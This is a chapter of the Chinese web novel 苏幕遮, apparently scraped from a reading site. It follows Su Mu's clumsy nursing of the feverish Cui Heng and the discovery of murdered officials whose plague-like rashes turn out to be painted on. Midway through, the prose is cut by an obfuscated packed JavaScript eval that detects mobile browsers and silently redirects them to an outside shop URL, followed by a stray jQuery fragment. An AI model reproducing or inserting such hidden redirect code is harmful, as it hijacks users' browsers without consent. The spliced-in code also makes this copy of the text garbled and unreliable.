文趣网 > 都市小说 > 苏幕遮 > 122. 连环失踪
    此事一出,县衙上下瞬间如临大敌。

    莫县令立刻传令下去,封锁整处院落,衙役严守院门,不许任何人随意进出,严防疫病扩散。

    按规矩,陪护之人,也需要隔离,因此,县衙的下人也都离开了。

    而阿砚当然留下。

    苏幕亦抬手出声自告奋勇:“我身体好!不怕染病!可以留下来搭手。”

    结果就是苏幕顶着阿砚的嫌弃,硬是留了下来。

    按阿砚的话说,这还不知是福是祸呢。

    林曦开的汤药苦涩难咽,崔珩烧得头昏脑涨,抿一口就死活不肯多喝。

    阿砚急得团团转,拿着蜜饯在一旁,温声细语劝半天没用。

    苏幕见状,趁着阿砚出屋子的这会儿工夫,直接上手。她端着药碗怼到崔珩嘴边:“别矫情了!治病要紧,一口闷了待会儿给你块糖!”

    崔珩烧得浑身无力,无法反抗,只能闭着眼硬生生灌下一大碗苦药。

    她还掏出自己私藏的古怪香包挂在床头,说能隔绝病气。

    但那香包味道古怪,不知是材料的问题,还是放得太久过期了,熏得本就头晕的崔珩一阵闷咳。

    阿砚赶紧把香包摘了,扔到窗边。

    苏幕当然不依。

    俩人开始了第一百零一次的小声拌嘴。

    崔珩烧得昏昏沉沉,耳边全程听着两道声音此起彼伏,迷迷糊糊间只觉得,这场生病,比整日在仁和堂干活还要折腾人。

    夜色渐深,林曦忙完全天的义诊,带着新配的退热草药赶来隔离区域查看病情。

    刚进门,便看见苏幕和阿砚两个斗得同乌眼鸡似的,反倒将崔珩晾在一旁。

    吵架的原因乃是不久前的一次乌龙。

    原来,方才崔珩高热昏沉,陷入昏迷,双目紧闭,气息微弱。阿砚守在床边,连声呼唤,崔珩却半点回应也无,一时间急得手足冰凉。

    苏幕凑过去,颤抖着探了探鼻息,二话不说,就“噗通”跪倒在地,整个人扑着床沿拍得木板砰砰响,扯开嗓子干嚎:“崔公子啊!你怎能熬不过这场疫症啊!”她一边嚎一边拍大腿,眼泪没几滴,声势倒是震天响。“你尽管安心闭眼,寻龙点穴挑坟地这事我最拿手!必给你寻一处背山靠水、财源绵长的上等风水宝地,保管你走得体体面面,半点不受委屈!”

    这番操作直接吓得阿砚魂飞魄散,慌忙俯身去探崔珩的脉搏与气息,确认自家公子脉象平稳、气息尚存,只是高热昏睡后,瞬间怒火攻心,狠狠瞪着胡作非为的苏幕。

    “你嚎什么丧!我家公子还没死呢!”

    “你懂什么!”

    苏幕却半点不心虚,理直气壮地仰头辩驳:“这叫煞气冲一冲,和冲喜是一个道理,能驱散病气,不懂别乱说话!”

    此言一出,阿砚更是气得面皮涨得通红,怒火直冲头顶,几步冲上前,一把揪住苏幕的后领,硬生生将人从地上拽了起来。

    “你闭嘴!半夜三更净说这些不吉利的话,简直晦气透顶!”

    苏幕被拽得踉跄两步,张牙舞爪,两个人直接扭打起来。

    眼看就是一场大战。

    看得林曦扶额叹气。

    这哪是养病看护,分明是折腾病患。

    林曦无奈上前分开人:“你们俩快歇着吧,再照顾下去,没病死也要被你们折腾得更严重了。都安分些,病人经不起你们这般吵闹。”

    她拿手在空中比划两下,以示警告,苏幕和阿砚当即乖乖退到墙角。

    拜林曦所赐,方才还被折腾得直冒冷汗的崔珩,终于安稳下来,沉沉睡去。

    林曦思索片刻,便让阿砚守在床边,时时留意崔珩体温,按时递服汤药。

    至于毛手毛脚的苏幕,她特地挑了个不用近身的活计——让她守在外间,分拣晾晒防疫草药,烧煮全屋消杀用的药汤,每隔半刻提药桶,把地面、门窗、桌椅都泼洒一遍,顺带清理换下的衣物,拿到院中蒸煮熏净。

    “你离床榻远些,免得再乱伸手惊扰病人。”

    苏幕摸着鼻子,虽有点不甘心只能干杂活,可也自知方才闹出许多乌龙,乖乖拎起药桶去忙活。

    天光透过窗纸渗进屋内,崔珩昏沉许久,终于勉强掀开沉重眼皮。

    浑身燥热酸痛还在,可更古怪的是胸口压着一团沉甸甸的重量,不同于高热带来的闷堵,是实打实的重物!压得他呼吸都不畅……

    崔珩费力转了转眼珠,垂眸一看,瞬间僵住。

    苏幕不知什么时候趴在他胸腹之间,睡得十分沉实,还时不时往他身上蹭蹭。

    崔珩心头猛地一跳,鬼使神差之下,飞快合上双眼,悄悄屏住气息,身子绷得笔直,一动不动,继续装作尚未苏醒的模样。

    一旁的苏幕睡得迷迷糊糊,嘴角淌着一丝口水,半晌才惺忪睁开眼,大大伸了个懒腰,随后伸手探向崔珩的额角。

    “好像退烧了?”

    她低声嘀咕。

    话音刚落,视线无意间扫过崔珩的眼睫,捕捉到了蛛丝马迹。

    苏幕顿时起了疑心,暗自琢磨:难不成这人早就醒了,故意装睡耍弄我?

    她眼底掠过一丝促狭,不动声色翻身坐起,随手摸过桌边一支炭笔,蹲在床边,摆出敛容师办后事的架势,垂着头挤出几分假惺惺的悲戚,呜呜地干嚎起来。

    “崔公子,人都凉透了呀,我这就拿炭笔给你描眉整理仪容,等下就给你测算墓穴方位,挑块绝佳风水地好好安葬……”

    她一边絮絮叨叨,一边举着炭笔慢慢凑近崔珩脸颊,作势就要往他眉骨上勾画。

    崔珩本就浑身不自在,眼前还有炭笔步步逼近,尴尬得很,再也装不下去,慌忙偏头躲开:“别闹了,我醒了。”

    苏幕见他率先绷不住,放下炭笔嗤笑出声:“方才怎么不吭声,装睡得倒是逼真,莫不是偷偷占我便宜?”

    崔珩无力辩驳,只能偏过头避开她的目光。

    “不过是想让你多睡一会儿罢了。”

    苏幕打趣够了,起身往外走,打算找林曦取退热汤药。

    刚走到院落门口,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740348|204168||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    就撞见两名衙役脚步慌乱,神色匆匆往县衙内赶。

    原来又有官眷前来报案,声称自家夫君莫名失踪,下落不明。

    苏幕驻足一会儿,听完了始末,才端着药碗返回屋内。

    “什么?!又是官员失踪?”

    听了这一消息,崔珩闻言神色一凛,撑着身子坐起来:“短短几日,接连数人莫名消失,绝非巧合……可是黄莺已经在牢里了……”

    苏幕猜道:“会不会是她被抓之前就已经动手了?我听衙役说,失踪的这几位,都是近日从龙阳调任武陵的官吏,可能早就被盯上了也说不定吧。”

    崔珩蹙眉:“不对,报的是两天前才失踪,时间对不上。你即刻去问问玉花轩老鸨,楼里众人可曾见过这些人。”

    苏幕很快折返回来:“老鸨和所有歌姬都确认了,从未见过这批官员。”

    崔珩眸光沉定:“最初的几具尸体,是弃于河中,苏幕,你去和莫大人说,先不必满山乱找,派人立刻去河道下游浅水滩、回水湾仔细搜查。”

    衙役们赶到城外河道旁,从下游往上开始搜寻,爬在半山腰时,正好发现了几具浮尸体,经过特征对比,正是失踪的官员。

    接到消息,林曦只能匆匆奔赴现场。

    苏幕听了,觉得颇为有趣,便也跟在队伍当中。

    待到了岸边,林曦一看情况,便叮嘱众人务必做好防护,尸身久泡,可能连带河水也一同被污染了,不可直接触碰。

    她想了想,问苏幕:“随身可带绳索与裹尸布?”

    “放心,我都带齐了。”

    苏幕昂首挺胸,将背上包裹卸下,全套器具摊开,见一旁衙役忌惮深水,不敢下去捞尸体,当即拍着胸脯自告奋勇下水。

    只见她套好防护,大步踏入河中,麻利把绳索捆牢尸身。

    待游回岸上,苏幕深吸一口气,猛地使劲,和衙役们一起往后拉拽,怎奈水底淤泥牢牢吸住尸首,巨大的拉力直接扯得她脚下打滑。

    只听“吧唧”一声,苏幕整个人仰面摔在泥泞的河床上。

    她呛了好几口黄泥,手忙脚乱爬起来,一身狼狈,方才的傲气荡然无存,还硬着头皮辩解是淤泥作祟,绝非自己失手。

    林曦忙招呼她先上岸更换干净衣物。

    剩下几名衙役们合力将尸首拖上河滩,林曦戴好浸过防疫草药水的面巾、厚布手套,蹲下身仔细勘验尸身。

    尸身虽长期浸泡河水中,口唇乌青,肌肤浮肿,体表遍布淡红斑驳印记,乍看与城内染疫百姓生出的斑疹别无二致。

    林曦先按压尸腹,腹腔无积水、口鼻河道泥沙淤堵极少,便能断定此人绝非溺水而亡,是死后才被抛入回水湾沉尸。

    她又细细摩挲尸身手臂处的斑痕,指尖蹭到一层极淡的粉质颜料,心头顿生疑窦。随即取出随身携带的干净棉布,蘸取少量清水,轻轻擦拭一处红疹边缘。不过两三下擦拭,表层淡红印记缓缓褪开,底下露出完好无损、毫无溃烂充血的皮肉,果不其然,这根本不是疫毒侵蚀生出的毒斑。